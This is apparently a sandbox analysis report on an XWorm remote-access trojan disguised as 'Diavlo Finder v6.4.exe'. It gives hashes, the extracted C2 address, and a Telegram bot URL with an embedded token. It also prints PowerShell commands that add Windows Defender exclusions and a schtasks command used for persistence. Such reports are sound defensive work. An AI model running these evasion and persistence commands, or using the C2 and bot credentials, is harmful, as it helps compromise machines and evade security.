xworm | 5144baf4cb6e87b7b1b7cfe6de66b68b5c0b2a6ddf168d40d415b455b2bec674

General

Target

Diavlo Finder v6.4.exe
Size

497KB
MD5

692fa69d5ee8eab02a4da55ac425a8c9
SHA1

cfe2b73152bf06e10168c8cf017116eab4708e95
SHA256

5144baf4cb6e87b7b1b7cfe6de66b68b5c0b2a6ddf168d40d415b455b2bec674
SHA512

76209f3d46a8d3da76f3385519b9cb9eb38580d85383bdb07e8f478dc9d4959c69cd696d76b35c3fc5889537d8b3dff8523d22622999c2fce82e8c941e2b6123
SSDEEP

3072:1kA3C07E+xbH8lc/q3OyqW4pJtoeJ17o5:6+VNxbclDC11JVo

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

38.240.48.77:7000

Attributes

Install_directory
%AppData%
install_file
MicrosoftEdge.exe
telegram
https://api.telegram.org/bot8141936539:AAEQ-Q8U2sv2DRt7L3JfcvVAWufM8aMnIQw/sendMessage?chat_id=6146449389

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/3612-59-0x000000001BE30000-0x000000001BE3E000-memory.dmp	disable_win_def

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3612-1-0x0000000000E70000-0x0000000000EF0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2952	powershell.exe
5008	powershell.exe
2644	powershell.exe
1200	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	Diavlo Finder v6.4.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdge.lnk	Diavlo Finder v6.4.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdge.lnk	Diavlo Finder v6.4.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdge = "C:\\Users\\Admin\\AppData\\Roaming\\MicrosoftEdge.exe"	Diavlo Finder v6.4.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5056	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3612	Diavlo Finder v6.4.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2644	powershell.exe
2644	powershell.exe
1200	powershell.exe
1200	powershell.exe
2952	powershell.exe
2952	powershell.exe
5008	powershell.exe
5008	powershell.exe
3612	Diavlo Finder v6.4.exe
3612	Diavlo Finder v6.4.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3612	Diavlo Finder v6.4.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	3612	Diavlo Finder v6.4.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3612	Diavlo Finder v6.4.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3612 wrote to memory of 2644	3612	Diavlo Finder v6.4.exe	88
PID 3612 wrote to memory of 2644	3612	Diavlo Finder v6.4.exe	88
PID 3612 wrote to memory of 1200	3612	Diavlo Finder v6.4.exe	90
PID 3612 wrote to memory of 1200	3612	Diavlo Finder v6.4.exe	90
PID 3612 wrote to memory of 2952	3612	Diavlo Finder v6.4.exe	92
PID 3612 wrote to memory of 2952	3612	Diavlo Finder v6.4.exe	92
PID 3612 wrote to memory of 5008	3612	Diavlo Finder v6.4.exe	94
PID 3612 wrote to memory of 5008	3612	Diavlo Finder v6.4.exe	94
PID 3612 wrote to memory of 5056	3612	Diavlo Finder v6.4.exe	97
PID 3612 wrote to memory of 5056	3612	Diavlo Finder v6.4.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Diavlo Finder v6.4.exe
"C:\Users\Admin\AppData\Local\Temp\Diavlo Finder v6.4.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Diavlo Finder v6.4.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Diavlo Finder v6.4.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\MicrosoftEdge.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MicrosoftEdge.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdge" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftEdge.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d8cb3e9459807e35f02130fad3f9860d

SHA1
5af7f32cb8a30e850892b15e9164030a041f4bd6

SHA256
2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

SHA512
045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
22310ad6749d8cc38284aa616efcd100

SHA1
440ef4a0a53bfa7c83fe84326a1dff4326dcb515

SHA256
55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

SHA512
2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pccgbqld.wvh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2644-4-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/2644-10-0x0000025AD7190000-0x0000025AD71B2000-memory.dmp

Filesize
136KB

Download
memory/2644-11-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/2644-16-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/2644-19-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/3612-0-0x00007FFC5A983000-0x00007FFC5A985000-memory.dmp

Filesize
8KB

Download
memory/3612-3-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/3612-2-0x00007FFC5A983000-0x00007FFC5A985000-memory.dmp

Filesize
8KB

Download
memory/3612-1-0x0000000000E70000-0x0000000000EF0000-memory.dmp

Filesize
512KB

Download
memory/3612-58-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/3612-59-0x000000001BE30000-0x000000001BE3E000-memory.dmp

Filesize
56KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads